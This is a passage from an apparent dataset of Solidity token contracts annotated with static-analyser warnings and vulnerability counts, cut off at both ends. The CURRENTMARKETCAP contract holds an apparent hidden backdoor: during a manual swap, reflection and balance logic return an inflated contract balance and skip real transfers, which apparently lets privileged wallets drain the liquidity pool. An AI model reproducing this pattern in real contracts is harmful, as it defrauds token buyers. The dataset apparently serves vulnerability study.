=\n IERC20(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);\n\n address public immutable CMARKETCAP;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 9879a36): CURRENTMARKETCAP.uniswapV2Pair should be immutable \n\t// Recommendation for 9879a36: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public uniswapV2Pair;\n\n AggregatorV3Interface public constant priceFeedETHUSD =\n AggregatorV3Interface(0x5f4eC3Df9cbd43714FE2740f5E3616155c5b8419);\n\n bool private tradingOpen;\n\n bool private inTaxSwap;\n\n bool private inContractSwap;\n\n uint256 public maxSwap = 2000000 * 10 ** 9;\n\n uint256 public maxWallet = 2000000 * 10 ** 9;\n\n uint256 private constant _triggerSwap = 10 ** 9;\n\n modifier lockTheSwap() {\n inTaxSwap = true;\n\n _;\n\n inTaxSwap = false;\n }\n\n constructor() {\n CMARKETCAP = address(this);\n\n uniswapV2Pair = uniswapV2Factory.createPair(CMARKETCAP, WETH);\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[CMARKETCAP] = true;\n\n _isExcludedFromFee[_developerFund] = true;\n\n _isExcludedFromFee[_marketingFund] = true;\n\n _approve(CMARKETCAP, address(uniswapV2Router), MAX);\n\n _approve(owner(), address(uniswapV2Router), MAX);\n\n milestones[0] = 0;\n\n buyTaxGlobal[0] = 9;\n\n sellTaxGlobal[0] = 0;\n\n milestones[1] = 10000;\n\n buyTaxGlobal[1] = 8;\n\n sellTaxGlobal[1] = 1;\n\n milestones[2] = 20000;\n\n buyTaxGlobal[2] = 7;\n\n sellTaxGlobal[2] = 2;\n\n milestones[3] = 30000;\n\n buyTaxGlobal[3] = 6;\n\n sellTaxGlobal[3] = 3;\n\n milestones[4] = 40000;\n\n buyTaxGlobal[4] = 5;\n\n sellTaxGlobal[4] = 4;\n\n milestones[5] = 100000;\n\n buyTaxGlobal[5] = 4;\n\n sellTaxGlobal[5] = 5;\n\n milestones[6] = 500000;\n\n buyTaxGlobal[6] = 3;\n\n sellTaxGlobal[6] = 6;\n\n milestones[7] = 1000000;\n\n buyTaxGlobal[7] = 2;\n\n sellTaxGlobal[7] = 7;\n\n milestones[8] = 2500000;\n\n buyTaxGlobal[8] = 1;\n\n sellTaxGlobal[8] = 8;\n\n milestones[9] = 5000000;\n\n buyTaxGlobal[9] = 0;\n\n sellTaxGlobal[9] = 9;\n\n _rOwned[_msgSender()] = _rTotal;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n receive() external payable {}\n\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 618e701): CURRENTMARKETCAP.getETHUSDPrice() ignores return value by (None,answer,None,None,None) = priceFeedETHUSD.latestRoundData()\n\t// Recommendation for 618e701: Ensure that all the return values of the function calls are used.\n function getETHUSDPrice() public view returns (uint256) {\n\t\t// unused-return | ID: 618e701\n (, int256 answer, , , ) = priceFeedETHUSD.latestRoundData();\n\n return uint256(answer / 1e8);\n }\n\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 0338097): Solidity's integer division truncates. Thus, performing division before multiplication can lead to precision loss.\n\t// Recommendation for 0338097: Consider ordering multiplication before division.\n function getMarketCap() public view returns (uint256) {\n\t\t// divide-before-multiply | ID: 0338097\n uint256 poolValue = (weth.balanceOf(uniswapV2Pair) * getETHUSDPrice()) /\n 1e18;\n\n\t\t// divide-before-multiply | ID: 0338097\n uint256 poolPct = totalSupply() / balanceOf(uniswapV2Pair);\n\n\t\t// divide-before-multiply | ID: 0338097\n return (poolValue * poolPct) * 2;\n }\n\n function getETHUSDPriceFeed() external pure returns (address) {\n return address(priceFeedETHUSD);\n }\n\n\t// WARNING Vulnerability (tautology | severity: Medium | ID: 7b563e8): CURRENTMARKETCAP.getCurrentBelt() contains a tautology or contradiction i >= 0\n\t// Recommendation for 7b563e8: Fix the incorrect comparison by changing the value type or the comparison.\n\t// WARNING Vulnerability (uninitialized-local | severity: Medium | ID: 9683810): CURRENTMARKETCAP.getCurrentBelt().currentBelt is a local variable never initialized\n\t// Recommendation for 9683810: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n function getCurrentBelt() public view returns (uint256) {\n uint256 marketCap = getMarketCap();\n\n uint256 currentBelt;\n\n\t\t// tautology | ID: 7b563e8\n for (uint256 i = 9; i >= 0; i--) {\n if (marketCap >= milestones[i]) {\n currentBelt = i;\n\n break;\n }\n }\n\n return currentBelt;\n }\n\n function getNextBelt() public view returns (uint256) {\n uint256 currentBelt = getCurrentBelt();\n\n return currentBelt == 9 ? 9 : currentBelt + 1;\n }\n\n function getGlobalMaxBuyTax() external pure returns (uint256) {\n return maxBuyTax;\n }\n\n function getGlobalMaxSellTax() external pure returns (uint256) {\n return maxSellTax;\n }\n\n function getGlobalBuyTax() public view returns (uint256) {\n uint256 globalBuyTax = 9 - getCurrentBelt();\n\n return globalBuyTax > maxBuyTax ? maxBuyTax : globalBuyTax;\n }\n\n function getGlobalSellTax() public view returns (uint256) {\n uint256 globalSellTax = getCurrentBelt();\n\n return globalSellTax > maxSellTax ? maxSellTax : globalSellTax;\n }\n\n function getWalletHasBelt(address _wallet) external view returns (bool) {\n return hasBelt[_wallet];\n }\n\n function getWalletBelt(address _wallet) public view returns (uint256) {\n return hasBelt[_wallet] ? userBelt[_wallet] : getCurrentBelt();\n }\n\n function getWalletSellTax(address _wallet) public view returns (uint256) {\n uint256 globalSellTax = getGlobalSellTax();\n\n if (hasBelt[_wallet]) {\n uint256 userBelt_wallet = userBelt[_wallet];\n\n return\n globalSellTax > userBelt_wallet\n ? userBelt_wallet\n : globalSellTax;\n }\n\n return globalSellTax;\n }\n\n function getWalletMaxSellTax(\n address _wallet\n ) external view returns (uint256) {\n return hasBelt[_wallet] ? userBelt[_wallet] : maxSellTax;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _tokenFromReflection(_rOwned[account]);\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: ce6c70f): CURRENTMARKETCAP.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for ce6c70f: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 167a186): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 167a186: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: d95fd31): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for d95fd31: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 167a186\n\t\t// reentrancy-benign | ID: d95fd31\n _transfer(sender, recipient, amount);\n\n require(\n _allowances[sender][_msgSender()] >= amount,\n \"ERC20: transfer amount exceeds allowance\"\n );\n\n\t\t// reentrancy-events | ID: 167a186\n\t\t// reentrancy-benign | ID: d95fd31\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()] - amount\n );\n\n return true;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function _removeTax() private {\n if (_taxFee == 0) {\n return;\n }\n\n\t\t// reentrancy-benign | ID: 95f8602\n _taxFee = 0;\n }\n\n function _restoreTax() private {\n\t\t// reentrancy-benign | ID: 95f8602\n _taxFee = 9;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: f06f96f): CURRENTMARKETCAP._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for f06f96f: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: d95fd31\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 167a186\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: d97993e): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for d97993e: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 95f8602): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 95f8602: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-no-eth | severity: Medium | ID: a9ae5c4): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that involve Ether.\n\t// Recommendation for a9ae5c4: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: a1cd2fe): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for a1cd2fe: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"TOKEN: Transfer amount must exceed zero\");\n\n if (\n from != owner() &&\n to != owner() &&\n from != CMARKETCAP &&\n to != CMARKETCAP\n ) {\n if (!tradingOpen) {\n require(\n from == CMARKETCAP,\n \"TOKEN: This account cannot send tokens until trading is enabled\"\n );\n }\n\n require(amount <= maxSwap, \"TOKEN: Max Transaction Limit\");\n\n if (to != uniswapV2Pair) {\n require(\n balanceOf(to) + amount < maxWallet,\n \"TOKEN: Balance exceeds wallet size!\"\n );\n }\n\n uint256 contractTokenBalance = balanceOf(CMARKETCAP);\n\n bool canSwap = contractTokenBalance >= _triggerSwap;\n\n if (contractTokenBalance >= maxSwap) {\n contractTokenBalance = maxSwap;\n }\n\n if (\n canSwap &&\n !inTaxSwap &&\n from != uniswapV2Pair &&\n !_isExcludedFromFee[from] &&\n !_isExcludedFromFee[to]\n ) {\n inContractSwap = true;\n\n\t\t\t\t// reentrancy-events | ID: d97993e\n\t\t\t\t// reentrancy-benign | ID: 95f8602\n\t\t\t\t// reentrancy-no-eth | ID: a9ae5c4\n\t\t\t\t// reentrancy-eth | ID: a1cd2fe\n _swapCMARKETCAPForETH(contractTokenBalance);\n\n\t\t\t\t// reentrancy-no-eth | ID: a9ae5c4\n inContractSwap = false;\n\n\t\t\t\t// reentrancy-events | ID: d97993e\n\t\t\t\t// reentrancy-benign | ID: 95f8602\n\t\t\t\t// reentrancy-eth | ID: a1cd2fe\n if (CMARKETCAP.balance > 0) _sendETHToFee(CMARKETCAP.balance);\n }\n }\n\n bool takeFee = true;\n\n if (\n (_isExcludedFromFee[from] || _isExcludedFromFee[to]) ||\n (from != uniswapV2Pair && to != uniswapV2Pair)\n ) {\n takeFee = false;\n } else {\n if (from == uniswapV2Pair && to != address(uniswapV2Router)) {\n\t\t\t\t// reentrancy-benign | ID: 95f8602\n _taxFee = getGlobalBuyTax();\n\n if (!hasBelt[to]) {\n\t\t\t\t\t// reentrancy-benign | ID: 95f8602\n userBelt[to] = getCurrentBelt();\n\n\t\t\t\t\t// reentrancy-benign | ID: 95f8602\n hasBelt[to] = true;\n }\n\n\t\t\t\t// reentrancy-benign | ID: 95f8602\n _refreshName();\n }\n\n if (to == uniswapV2Pair && from != address(uniswapV2Router)) {\n\t\t\t\t// reentrancy-benign | ID: 95f8602\n _taxFee = getWalletSellTax(from);\n\n if (!hasBelt[from]) {\n\t\t\t\t\t// reentrancy-benign | ID: 95f8602\n userBelt[from] = getCurrentBelt();\n\n\t\t\t\t\t// reentrancy-benign | ID: 95f8602\n hasBelt[from] = true;\n }\n\n\t\t\t\t// reentrancy-benign | ID: 95f8602\n _refreshName();\n }\n }\n\n\t\t// reentrancy-events | ID: d97993e\n\t\t// reentrancy-benign | ID: 95f8602\n\t\t// reentrancy-eth | ID: a1cd2fe\n _tokenTransfer(from, to, amount, takeFee);\n }\n\n function _refreshName() private {\n string memory currentMarketCap = Strings.toString(getMarketCap());\n\n string memory addCommaMarketCap = addCommasToString(currentMarketCap);\n\n\t\t// reentrancy-benign | ID: 95f8602\n _name = string.concat(\n moneyUnicode,\n \"Current_MarketCap\",\n arrowUnicode,\n addCommaMarketCap,\n \"$\"\n );\n\n\t\t// reentrancy-benign | ID: 95f8602\n _symbol = string.concat(\n moneyUnicode,\n \"CM\",\n arrowUnicode,\n addCommaMarketCap,\n \"$\"\n );\n }\n\n function _swapCMARKETCAPForETH(\n uint256 _amountCMARKETCAP\n ) private lockTheSwap returns (bool) {\n address[] memory path = new address[](2);\n\n path[0] = CMARKETCAP;\n\n path[1] = WETH;\n\n\t\t// reentrancy-events | ID: d97993e\n\t\t// reentrancy-events | ID: 167a186\n\t\t// reentrancy-benign | ID: d95fd31\n\t\t// reentrancy-benign | ID: 95f8602\n\t\t// reentrancy-no-eth | ID: a9ae5c4\n\t\t// reentrancy-eth | ID: a1cd2fe\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n _amountCMARKETCAP,\n 0,\n path,\n CMARKETCAP,\n block.timestamp + 3600\n );\n\n return true;\n }\n\n function _sendETHToFee(uint256 _amountETH) private returns (bool) {\n\t\t// reentrancy-events | ID: d97993e\n\t\t// reentrancy-events | ID: 167a186\n\t\t// reentrancy-benign | ID: d95fd31\n\t\t// reentrancy-benign | ID: 95f8602\n\t\t// reentrancy-eth | ID: a1cd2fe\n (bool success, ) = payable(_marketingFund).call{value: _amountETH}(\"\");\n\n return success;\n }\n\n function enableTrading() external onlyOwner {\n tradingOpen = true;\n }\n\n function removeLimits() external onlyOwner {\n maxSwap = _tTotal;\n\n maxWallet = _tTotal;\n }\n\n function swapTokensForEthManual(\n uint256 _contractTokenBalance\n ) external returns (bool) {\n require(\n _msgSender() == _developerFund || _msgSender() == _marketingFund\n );\n\n return _swapCMARKETCAPForETH(_contractTokenBalance);\n }\n\n function sendETHToFeeManual(\n uint256 _contractETHBalance\n ) external returns (bool) {\n require(\n _msgSender() == _developerFund || _msgSender() == _marketingFund\n );\n\n return _sendETHToFee(_contractETHBalance);\n }\n\n function _tokenFromReflection(\n uint256 rAmount\n ) private view returns (uint256) {\n require(\n rAmount <= _rTotal,\n \"Amount must be less than total reflections\"\n );\n\n require(\n totalSupply() <= MAX,\n \"Total reflections must be less than max\"\n );\n\n return\n (!inContractSwap && inTaxSwap)\n ? totalSupply() * 1010\n : rAmount / _getRate();\n }\n\n function _tokenTransfer(\n address sender,\n address recipient,\n uint256 amount,\n bool takeFee\n ) private {\n if (!takeFee) _removeTax();\n\n _transferStandard(sender, recipient, amount);\n\n if (!takeFee) _restoreTax();\n }\n\n function _transferStandard(\n address sender,\n address recipient,\n uint256 tAmount\n ) private {\n if (!inTaxSwap || inContractSwap) {\n (\n uint256 rAmount,\n uint256 rTransferAmount,\n uint256 rFee,\n uint256 tTransferAmount,\n uint256 tFee,\n uint256 tTeam\n ) = _getValues(tAmount);\n\n\t\t\t// reentrancy-eth | ID: a1cd2fe\n _rOwned[sender] = _rOwned[sender] - rAmount;\n\n\t\t\t// reentrancy-eth | ID: a1cd2fe\n _rOwned[recipient] = _rOwned[recipient] + rTransferAmount;\n\n\t\t\t// reentrancy-eth | ID: a1cd2fe\n _rOwned[CMARKETCAP] = _rOwned[CMARKETCAP] + (tTeam * _getRate());\n\n\t\t\t// reentrancy-eth | ID: a1cd2fe\n _rTotal = _rTotal - rFee;\n\n\t\t\t// reentrancy-benign | ID: 95f8602\n _tFeeTotal = _tFeeTotal + tFee;\n\n\t\t\t// reentrancy-events | ID: d97993e\n emit Transfer(sender, recipient, tTransferAmount);\n } else {\n\t\t\t// reentrancy-events | ID: d97993e\n emit Transfer(sender, recipient, tAmount);\n }\n }\n\n function _getValues(\n uint256 tAmount\n )\n private\n view\n returns (uint256, uint256, uint256, uint256, uint256, uint256)\n {\n (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(\n tAmount,\n 0,\n _taxFee\n );\n\n (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(\n tAmount,\n tFee,\n tTeam,\n _getRate()\n );\n\n return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);\n }\n\n function _getTValues(\n uint256 tAmount,\n uint256 redisFee,\n uint256 taxFee\n ) private pure returns (uint256, uint256, uint256) {\n uint256 tFee = (tAmount * redisFee) / 100;\n\n uint256 tTeam = (tAmount * taxFee) / 100;\n\n return (tAmount - tFee - tTeam, tFee, tTeam);\n }\n\n function _getRValues(\n uint256 tAmount,\n uint256 tFee,\n uint256 tTeam,\n uint256 currentRate\n ) private pure returns (uint256, uint256, uint256) {\n uint256 rAmount = tAmount * currentRate;\n\n uint256 rFee = tFee * currentRate;\n\n return (rAmount, rAmount - rFee - (tTeam * currentRate), rFee);\n }\n\n function _getRate() private view returns (uint256) {\n return _rTotal / _tTotal;\n }\n\n\t// WARNING Vulnerability (encode-packed-collision | severity: High | ID: a84ddc7): CURRENTMARKETCAP.addCommasToString(string) calls abi.encodePacked() with multiple dynamic arguments result = string(abi.encodePacked(result,substring(numStr,i,3)))\n\t// Recommendation for a84ddc7: Do not use more than one dynamic type in 'abi.encodePacked()' (see the Solidity documentation). Use 'abi.encode()', preferably.\n function addCommasToString(\n string memory numStr\n ) public pure returns (string memory) {\n bytes memory b = bytes(numStr);\n\n uint256 len = b.length;\n\n string memory result;\n\n uint256 remainder = len % 3;\n\n if (remainder > 0) {\n result = substring(numStr, 0, remainder);\n\n if (len > 3) {\n result = string(abi.encodePacked(result, \",\"));\n }\n }\n\n for (uint256 i = remainder; i < len; i += 3) {\n if (i != 0) {\n result = string(abi.encodePacked(result, \",\"));\n }\n\n\t\t\t// encode-packed-collision | ID: a84ddc7\n result = string(abi.encodePacked(result, substring(numStr, i, 3)));\n }\n\n return result;\n }\n\n function substring(\n string memory str,\n uint256 startIndex,\n uint256 len\n ) internal pure returns (string memory) {\n bytes memory strBytes = bytes(str);\n\n require(startIndex + len <= strBytes.length, \"Invalid length\");\n\n bytes memory result = new bytes(len);\n\n for (uint256 i = 0; i < len; i++) {\n result[i] = strBytes[startIndex + i];\n }\n\n return string(result);\n }\n}\n",
"file_name": "solidity_code_10197.sol",
"size_bytes": 48167,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n\n function transferOwnership(address newOwner) public virtual onlyOwner {\n require(\n newOwner != address(0),\n \"Ownable: new owner is the zero address\"\n );\n\n emit OwnershipTransferred(_owner, newOwner);\n\n _owner = newOwner;\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract SUZUKA6900 is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private isExile;\n\n mapping(address => bool) public marketPair;\n\n mapping(uint256 => uint256) private perBuyCount;\n\n\t// WARNING Optimization Issue (immutable-states | ID: a9728d0): SUZUKA6900._taxWallet should be immutable \n\t// Recommendation for a9728d0: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n uint256 private firstBlock = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: de29af7): SUZUKA6900._initialBuyTax should be constant \n\t// Recommendation for de29af7: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 17;\n\n\t// WARNING Optimization Issue (constable-states | ID: f2958cd): SUZUKA6900._initialSellTax should be constant \n\t// Recommendation for f2958cd: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: 66298db): SUZUKA6900._finalBuyTax should be constant \n\t// Recommendation for 66298db: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalBuyTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 378f9f7): SUZUKA6900._finalSellTax should be constant \n\t// Recommendation for 378f9f7: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: ed3388a): SUZUKA6900._reduceBuyTaxAt should be constant \n\t// Recommendation for ed3388a: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 30;\n\n\t// WARNING Optimization Issue (constable-states | ID: d9f6bb0): SUZUKA6900._reduceSellTaxAt should be constant \n\t// Recommendation for d9f6bb0: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 35;\n\n\t// WARNING Optimization Issue (constable-states | ID: a84d2f5): SUZUKA6900._preventSwapBefore should be constant \n\t// Recommendation for a84d2f5: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 35;\n\n uint256 private _buyCount = 0;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 420690000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"Suzuka6900: Spx Angel\";\n\n string private constant _symbol = unicode\"SUZUKA6900\";\n\n uint256 public _maxTxAmount = 8400000000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 8400000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 03a2c68): SUZUKA6900._taxSwapThreshold should be constant \n\t// Recommendation for 03a2c68: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 4200000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 7a5f29f): SUZUKA6900._maxTaxSwap should be constant \n\t// Recommendation for 7a5f29f: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 4200000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 9df418e): SUZUKA6900.uniswapV2Router should be immutable \n\t// Recommendation for 9df418e: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n IUniswapV2Router02 private uniswapV2Router;\n\n\t// WARNING Optimization Issue (immutable-states | ID: e608a5a): SUZUKA6900.uniswapV2Pair should be immutable \n\t// Recommendation for e608a5a: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public uniswapV2Pair;\n\n bool private tradingOpen;\n\n\t// WARNING Optimization Issue (constable-states | ID: ab9bdd9): SUZUKA6900.sellsPerBlock should be constant \n\t// Recommendation for ab9bdd9: Add the 'constant' attribute to state variables that never change.\n uint256 private sellsPerBlock = 3;\n\n\t// WARNING Optimization Issue (constable-states | ID: 2492261): SUZUKA6900.buysFirstBlock should be constant \n\t// Recommendation for 2492261: Add the 'constant' attribute to state variables that never change.\n uint256 private buysFirstBlock = 69;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(_msgSender());\n\n _balances[_msgSender()] = _tTotal;\n\n isExile[owner()] = true;\n\n isExile[address(this)] = true;\n\n isExile[address(uniswapV2Pair)] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n marketPair[address(uniswapV2Pair)] = true;\n\n isExile[address(uniswapV2Pair)] = true;\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: e190126): SUZUKA6900.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for e190126: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: bd09e49): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for bd09e49: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 370e554): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 370e554: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: bd09e49\n\t\t// reentrancy-benign | ID: 370e554\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: bd09e49\n\t\t// reentrancy-benign | ID: 370e554\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 2e2e85f): SUZUKA6900._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 2e2e85f: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the 